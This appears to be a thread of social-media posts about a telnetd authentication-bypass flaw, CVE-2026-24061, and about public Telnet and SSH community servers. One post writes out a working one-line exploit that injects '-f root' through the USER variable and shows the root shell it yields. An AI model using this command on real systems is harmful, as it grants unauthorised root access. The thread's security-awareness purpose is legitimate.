Just a reminder that #Telnet is never secure nor safe to use.

#SSH or something with a secure layer is so much better.

https://www.bleepingcomputer.com/news/security/nearly-800-000-telnet-servers-exposed-to-remote-attacks/

Nearly 800,000 #Telnet servers exposed to remote attacks

The security flaw (CVE-2026-24061) already has a proof-of-concept exploit, impacts GNU InetUtils versions 1.9.3 (released in 2015) through 2.7, and was patched in version 2.8 (released on January 20).

https://www.bleepingcomputer.com/news/security/nearly-800-000-telnet-servers-exposed-to-remote-attacks/

Warning: computer nerd stuff below:

So. In 2026, telnet is still a thing.
Really? 😑

ubuntu@ubuntu:~$ USER=“-f root” telnet -a victim.ip.address

[usual Ubuntu /etc/issue text]

root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

You’re welcome.

#itsecurity #unix #linux #telnet #telnetd

🚨 Critical #Telnet Authentication Bypass Vulnerability Discovered #CVE202624061 #cybersecurity #infosec #DevOps #security

🔓 #GNU Inetutils telnetd through version 2.7 allows remote authentication bypass via "-f root" USER environment variable

⚡ The exploit is shockingly simple: attackers send "-f root" as the USER value, triggering /usr/bin/login -f root which skips password authentication entirely

🧵 👇

Places to go and things to #Telnet

https://telnet.org/htm/places.htm

#Linux

The orange site shared this link, telnet.org which has a list of servers to which you can connect over Telnet. (Warning: these are always unencrypted connections).

If you want a Telnet-like experience but over a secure #TLS connection (e.g. using an #SSH client), check out the “Tildeverse,” https://tildeverse.org/ , a list of public-access servers with SSH login. It is like the #Fediverse but using TLS rather than the #ActivityPub protocol. The obvious drawback is that you need to know how to use a command line, but I doubt that would bother most Fediverse dwellers.

@screwlisp I didn’t see https://lambda.moo.mud.org at all in this list of Telnet logins. We may need to do something about that.

#tech #Internet #RetroComputing #Telnet #TildeVerse